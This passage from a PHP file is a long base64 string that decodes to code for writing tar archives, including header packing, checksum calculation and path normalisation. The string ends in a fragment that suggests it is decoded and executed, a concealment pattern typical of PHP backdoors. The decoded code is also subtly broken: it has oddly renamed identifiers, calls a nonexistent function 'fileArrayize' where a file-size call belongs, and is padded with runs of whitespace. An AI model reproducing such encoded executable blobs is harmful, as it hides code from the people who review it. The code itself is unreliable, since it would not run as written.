cml0eUhhc2ggPT0gMjU2KSAmJiAoJGhlYWRlclsnaW50ZWdyaXR5SGFzaCddID09IDApKSAJICAgICByZXR1cm4gdHJ1ZTsNCgkgICAgIAkgICAgIAkgICAgICR0aGlzLT5mYWlsdXJlTG9nc1tdID0gX18oJ0Vycm9yIGludGVncml0eUhhc2ggZm9yIGZpbGUgJykuJHVucGFja19kYXRhWydmaWxlbmFtZSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgcmV0dXJuIGZhbHNlOw0KDQoJICAgICAJICAgICB9DQoNCg0KDQoJICAgICAJICAgICBpZiAoKCRoZWFkZXJbJ3R5cGVmbGFnJ10gPSAkdW5wYWNrX2RhdGFbJ3R5cGVmbGFnJ10pID09ICc1JykJICAgICAkaGVhZGVyWydzaXplJ10gPSAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkaGVhZGVyWydmaWxlbmFtZSddID0gdHJpbSgkdW5wYWNrX2RhdGFbJ2ZpbGVuYW1lJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkaGVhZGVyWydtb2RlJ10gPSBPY3REZWModHJpbSgkdW5wYWNrX2RhdGFbJ21vZGUnXSkpOw0KCSAgICAgCSAgICAgJGhlYWRlclsnYWNjb3VudElkJ10gPSBPY3REZWModHJpbSgkdW5wYWNrX2RhdGFbJ2FjY291bnRJZCddKSk7DQoJICAgICAJICAgICAkaGVhZGVyWydncm91cF9pZCddID0gT2N0RGVjKHRyaW0oJHVucGFja19kYXRhWydncm91cF9pZCddKSk7DQoNCgkgICAgIAkgICAgICRoZWFkZXJbJ3NpemUnXSA9IE9jdERlYyh0cmltKCR1bnBhY2tfZGF0YVsnc2l6ZSddKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJGhlYWRlclsndGltZSddID0gT2N0RGVjKHRyaW0oJHVucGFja19kYXRhWyd0aW1lJ10pKTsNCg0KCSAgICAgCSAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICB9DQoNCg0KDQoJICAgICBmdW5jdGlvbiBpbnNlcnRGaWxlSGVhZGVyKCRmaWxlbmFtZSwgJGtlZXBfZmlsZW5hbWUpew0KDQoJICAgICAJICAgICAkcGFja0YgPSAnYTEwMGE4YThhOGExMkExMic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJHBhY2tMID0gJ2ExYTEwMGE2YTJhMzJhMzJhOGE4YTE1NWExMic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgaWYgKHN0cmxlbigka2VlcF9maWxlbmFtZSk8PTApICRrZWVwX2ZpbGVuYW1lID0gJGZpbGVuYW1lOw0KCSAgICAgCSAgICAgJGZpbGVuYW1lX3JlYWR5ID0gJHRoaXMtPmNvbnN0cnVjdEZpbGVQYXRoKCRrZWVwX2ZpbGVuYW1lKTsNCg0KDQoJICAgICAJICAgICBpZiAoc3RybGVuKCRmaWxlbmFtZV9yZWFkeSkgPiA5OSl7CSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgLy93cml0ZSBsb25nIGhlYWRlcg0KDQoJICAgICAJICAgICAkZGF0YUZpcnN0ID0gcGFjaygkcGFja0YsICcuLy4vTG9uZ0xpbmsnLCAwLCAwLCAwLCBzcHJpbnRmKCclMTFzICcsIERlY09jdChzdHJsZW4oJGZpbGVuYW1lX3JlYWR5KSkpLCAwKTsNCg0KCSAgICAgCSAgICAgJGRhdGFMYXN0ID0gcGFjaygkcGFja0wsICdMJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJyk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgIC8vICBDYWxjdWxhdGUgdGhlIGludGVncml0eUhhc2gNCg0KCSAgICAgCSAgICAgJGludGVncml0eUhhc2ggPSAwOw0KICAgICAgICAvLyAgRmlyc3QgcGFydCBvZiB0aGUgaGVhZGVyDQoJICAgICAJICAgICBmb3IgKCRpID0gMDsgJGkgPCAxNDg7ICRpKyspDQoNCgkgICAgIAkgICAgIAkgICAgICRpbnRlZ3JpdHlIYXNoICs9IG9yZChzdWJzdHIoJGRhdGFGaXJzdCwgJGksIDEpKTsNCg0KICAgICAgICAvLyAgSWdub3JlIHRoZSBpbnRlZ3JpdHlIYXNoIHZhbHVlIGFuZCByZXBsYWNlIGl0IGJ5ICcgJyAoc3BhY2UpDQoNCgkgICAgIAkgICAgIGZvciAoJGkgPSAxNDg7ICRpIDwgMTU2OyAkaSsrKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgICRpbnRlZ3JpdHlIYXNoICs9IG9yZCgnICcpOw0KDQogICAgICAgIC8vICBMYXN0IHBhcnQgb2YgdGhlIGhlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgZm9yICgkaSA9IDE1NiwgJGo9MDsgJGkgPCA1MTI7ICRpKyssICRqKyspDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgICRpbnRlZ3JpdHlIYXNoICs9IG9yZChzdWJzdHIoJGRhdGFMYXN0LCAkaiwgMSkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgIC8vICBXcml0ZSB0aGUgZmlyc3QgMTQ4IGJ5dGVzIG9mIHRoZSBoZWFkZXIgaW4gdGhlIGFyY2hpdmUNCgkgICAgIAkgICAgICR0aGlzLT53cml0ZURhdGFTZWdtZW50KCRkYXRhRmlyc3QsIDE0OCk7DQogICAgICAgIC8vICBXcml0ZSB0aGUgY2FsY3VsYXRlZCBpbnRlZ3JpdHlIYXNoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJGludGVncml0eUhhc2ggPSBzcHJpbnRmKCclNnMgJywgRGVjT2N0KCRpbnRlZ3JpdHlIYXNoKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJGJpbmFyeURhdGEgPSBwYWNrKCdhOCcsICRpbnRlZ3JpdHlIYXNoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJHRoaXMtPndyaXRlRGF0YVNlZ21lbnQoJGJpbmFyeURhdGEsIDgpOw0KDQogICAgICAgIC8vICBXcml0ZSB0aGUgbGFzdCAzNTYgYnl0ZXMgb2YgdGhlIGhlYWRlciBpbiB0aGUgYXJjaGl2ZQ0KDQoJICAgICAJICAgICAkdGhpcy0+d3JpdGVEYXRhU2VnbWVudCgkZGF0YUxhc3QsIDM1Nik7DQoNCg0KDQoJICAgICAJICAgICAkaW50ZXJtZWRpYXRlRmlsZW5hbWUgPSAkdGhpcy0+Y29uc3RydWN0RmlsZVBhdGgoJGZpbGVuYW1lX3JlYWR5KTsNCg0KCSAgICAgCSAgICAgJGkgPSAwOw0KCSAgICAgCSAgICAgCSAgICAgd2hpbGUgKCgkYnVmZmVyID0gc3Vic3RyKCRpbnRlcm1lZGlhdGVGaWxlbmFtZSwgKCgkaSsrKSo1MTIpLCA1MTIpKSAhPSAnJyl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGJpbmFyeURhdGEgPSBwYWNrKCdhNTEyJywgJGJ1ZmZlcik7DQoJICAgICAJICAgICAJICAgICAJICAgICAkdGhpcy0+d3JpdGVEYXRhU2VnbWVudCgkYmluYXJ5RGF0YSk7DQoNCgkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgcmV0dXJuIHRydWU7DQoNCgkgICAgIAkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJGZpbGVfaW5mbyA9IHN0YXQoJGZpbGVuYW1lKTsNCgkgICAgIAkgICAgIGlmIChAaXNfZGlyKCRmaWxlbmFtZSkpew0KDQoJICAgICAJICAgICAJICAgICAkdHlwZWZsYWcgPSAnNSc7DQoNCgkgICAgIAkgICAgIAkgICAgICRzaXplID0gc3ByaW50ZignJTExcyAnLCBEZWNPY3QoMCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIH0gZWxzZSB7DQoNCgkgICAgIAkgICAgIAkgICAgICR0eXBlZmxhZyA9ICcnOw0KDQoJICAgICAJICAgICAJICAgICBjbGVhcnN0YXRjYWNoZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAkc2l6ZSA9IHNwcmludGYoJyUxMXMgJywgRGVjT2N0KGZpbGVBcnJheWl6ZSgkZmlsZW5hbWUpKSk7DQoNCgkgICAgIAkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgICRkYXRhRmlyc3QgPSBwYWNrKCRwYWNrRiwgJGZpbGVuYW1lX3JlYWR5LCBzcHJpbnRmKCclNnMgJywgRGVjT2N0KGZpbGVwZXJtcygkZmlsZW5hbWUpKSksIHNwcmludGYoJyU2cyAnLCBEZWNPY3QoJGZpbGVfaW5mb1s0XSkpLCBzcHJpbnRmKCclNnMgJywgRGVjT2N0KCRmaWxlX2luZm9bNV0pKSwgJHNpemUsIHNwcmludGYoJyUxMXMnLCBEZWNPY3QoZmlsZW10aW1lKCRmaWxlbmFtZSkpKSk7DQoNCgkgICAgIAkgICAgICRkYXRhTGFzdCA9IHBhY2soJHBhY2tMLCAkdHlwZWZsYWcsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycpOw0KCSAgICAgCSAgICAgJGludGVncml0eUhhc2ggPSAwOw0KDQoJICAgICAJICAgICBmb3IgKCRpID0gMDsgJGkgPCAxNDg7ICRpKyspICRpbnRlZ3JpdHlIYXNoICs9IG9yZChzdWJzdHIoJGRhdGFGaXJzdCwgJGksIDEpKTsNCgkgICAgIAkgICAgIGZvciAoJGkgPSAxNDg7ICRpIDwgMTU2OyAkaSsrKSAkaW50ZWdyaXR5SGFzaCArPSBvcmQoJyAnKTsNCgkgICAgIAkgICAgIGZvciAoJGkgPSAxNTYsICRqID0gMDsgJGkgPCA1MTI7ICRpKyssICRqKyspICRpbnRlZ3JpdHlIYXNoICs9IG9yZChzdWJzdHIoJGRhdGFMYXN0LCAkaiwgMSkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkdGhpcy0+d3JpdGVEYXRhU2VnbWVudCgkZGF0YUZpcnN0LCAxNDgpOw0KDQoJICAgICAJICAgICAkaW50ZWdyaXR5SGFzaCA9IHNwcmludGYoJyU2cyAnLCBEZWNPY3QoJGludGVncml0eUhhc2gpKTsNCg0KCSAgICAgCSAgICAgJGJpbmFyeURhdGEgPSBwYWNrKCdhOCcsICRpbnRlZ3JpdHlIYXNoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJHRoaXMtPndyaXRlRGF0YVNlZ21lbnQoJGJpbmFyeURhdGEsIDgpOw0KDQoJICAgICAJICAgICAkdGhpcy0+d3JpdGVEYXRhU2VnbWVudCgkZGF0YUxhc3QsIDM1Nik7DQoJICAgICAJICAgICByZXR1cm4gdHJ1ZTsNCgkgICAgIH0NCg0KDQoJICAgICBmdW5jdGlvbiBpbml0aWF0ZUZpbGVXcml0ZSgpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICBpZiAoJHRoaXMtPmlzRmlsZUNvbXByZXNzZWQpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAkdGhpcy0+aW50ZXJtZWRpYXRlRmlsZSA9IGd6b3BlbigkdGhpcy0+YXJjaGl2ZUxhYmVsLCAnd2I5ZicpOw0KDQoJICAgICAJICAgICBlbHNlDQoNCgkgICAgIAkgICAgIAkgICAgICR0aGlzLT5pbnRlcm1lZGlhdGVGaWxlID0gZm9wZW4oJHRoaXMtPmFyY2hpdmVMYWJlbCwgJ3diJyk7DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICBpZiAoISgkdGhpcy0+aW50ZXJtZWRpYXRlRmlsZSkpew0KCSAgICAgCSAgICAgCSAgICAgJHRoaXMtPmZhaWx1cmVMb2dzW10gPSBfXygnQ2Fubm90IHdyaXRlIHRvIGZpbGUnKS4nICcuJHRoaXMtPmFyY2hpdmVMYWJlbDsNCg0KCSAgICAgCSAgICAgCSAgICAgcmV0dXJuIGZhbHNlOw0KDQoJICAgICAJICAgICB9DQoJICAgICAJICAgICByZXR1cm4gdHJ1ZTsNCgkgICAgIH0NCg0KCSAgICAgZnVuY3Rpb24gcmV0cmlldmVEYXRhQmxvY2soKXsNCg0KCSAgICAgCSAgICAgaWYgKGlzX3Jlc291cmNlKCR0aGlzLT5pbnRlcm1lZGlhdGVGaWxlKSl7DQoNCgkgICAgIAkgICAgIAkgICAgIGlmICgkdGhpcy0+aXNGaWxlQ29tcHJlc3NlZCkNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGJsb2NrID0gZ3pyZWFkKCR0aGlzLT5pbnRlcm1lZGlhdGVGaWxlLCA1MTIpOw0KCSAgICAgCSAgICAgCSAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICAkYmxvY2sgPSBmcmVhZCgkdGhpcy0+aW50ZXJtZWRpYXRlRmlsZSwgNTEyKTsNCg0KCSAgICAgCSAgICAgfSBlbHNlCSAgICAgJGJsb2NrID0gJyc7DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIHJldHVybiAkYmxvY2s7DQoJICAgICB9DQoNCg0KDQoJICAgICBmdW5jdGlvbiB3cml0ZURhdGFTZWdtZW50KCRkYXRhLCAkbGVuZ3RoID0gMCl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICBpZiAoaXNfcmVzb3VyY2UoJHRoaXMtPmludGVybWVkaWF0ZUZpbGUpKXsNCgkgICAgIAkgICAgIA0KDQoJICAgICAJICAgICAJICAgICBpZiAoJGxlbmd0aCA9PT0gMCl7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmICgkdGhpcy0+aXNGaWxlQ29tcHJlc3NlZCkNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIGd6cHV0cygkdGhpcy0+aW50ZXJtZWRpYXRlRmlsZSwgJGRhdGEpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGVsc2UNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgZnB1dHMoJHRoaXMtPmludGVybWVkaWF0ZUZpbGUsICRkYXRhKTsNCgkgICAgIAkgICAgIAkgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmICgkdGhpcy0+aXNGaWxlQ29tcHJlc3NlZCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICBnenB1dHMoJHRoaXMtPmludGVybWVkaWF0ZUZpbGUsICRkYXRhLCAkbGVuZ3RoKTsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGVsc2UNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIGZwdXRzKCR0aGlzLT5pbnRlcm1lZGlhdGVGaWxlLCAkZGF0YSwgJGxlbmd0aCk7DQoNCgkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgfQ0KDQoJICAgICB9DQoNCg0KDQoJICAgICBmdW5jdGlvbiBjbG9zZVRlbXBGaWxlU3RyZWFtKCl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgaWYgKGlzX3Jlc291cmNlKCR0aGlzLT5pbnRlcm1lZGlhdGVGaWxlKSl7DQoJICAgICAJICAgICAJICAgICBpZiAoJHRoaXMtPmlzRmlsZUNvbXByZXNzZWQpDQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGd6Y2xvc2UoJHRoaXMtPmludGVybWVkaWF0ZUZpbGUpOw0KDQoJICAgICAJICAgICAJICAgICBlbHNlDQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGZjbG9zZSgkdGhpcy0+aW50ZXJtZWRpYXRlRmlsZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQoNCgkgICAgIAkgICAgIAkgICAgICR0aGlzLT5pbnRlcm1lZGlhdGVGaWxlID0gMDsNCg0KCSAgICAgCSAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICB9DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBmdW5jdGlvbiBjb25zdHJ1Y3RGaWxlUGF0aCgkcGF0aCl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIGlmIChzdHJsZW4oJHBhdGgpPjApew0KDQoJICAgICAJICAgICAJICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KDQoJICAgICAJICAgICAJICAgICAkcGFydFBhdGggPSBleHBsb2RlKCcvJywgJHBhdGgpOw0KCSAgICAgCSAgICAgCSAgICAgJGVscyA9IGNvdW50KCRwYXJ0UGF0aCktMTsNCg0KCSAgICAgCSAgICAgCSAgICAgZm9yICgkaSA9ICRlbHM7ICRpPj0wOyAkaS0tKXsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYgKCRwYXJ0UGF0aFskaV0gPT0gJy4nKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vICBJZ25vcmUgdGhpcyBkaXJlY3RvcnkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkcGFydFBhdGhbJGldID09ICcuLicpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaS0tOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQoJICAgICAJICAgICAJICAgICAJICAgICBlbHNlaWYgKCgkcGFydFBhdGhbJGldID09ICcnKSBhbmQgKCRpIT0kZWxzKSBhbmQgKCRpIT0wKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CSAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHJlc3VsdCA9ICRwYXJ0UGF0aFskaV0uKCRpIT0kZWxzID8gJy8nLiRyZXN1bHQgOiAnJyk7DQoJICAgICAJICAgICAJICAgICB9DQoJICAgICAJICAgICB9IGVsc2UgJHJlc3VsdCA9ICcnOw0KDQoJICAgICAJICAgICANCg0KCSAgICAgCSAgICAgcmV0dXJuICRyZXN1bHQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgfQ0KfQ0KPz4=\'))')
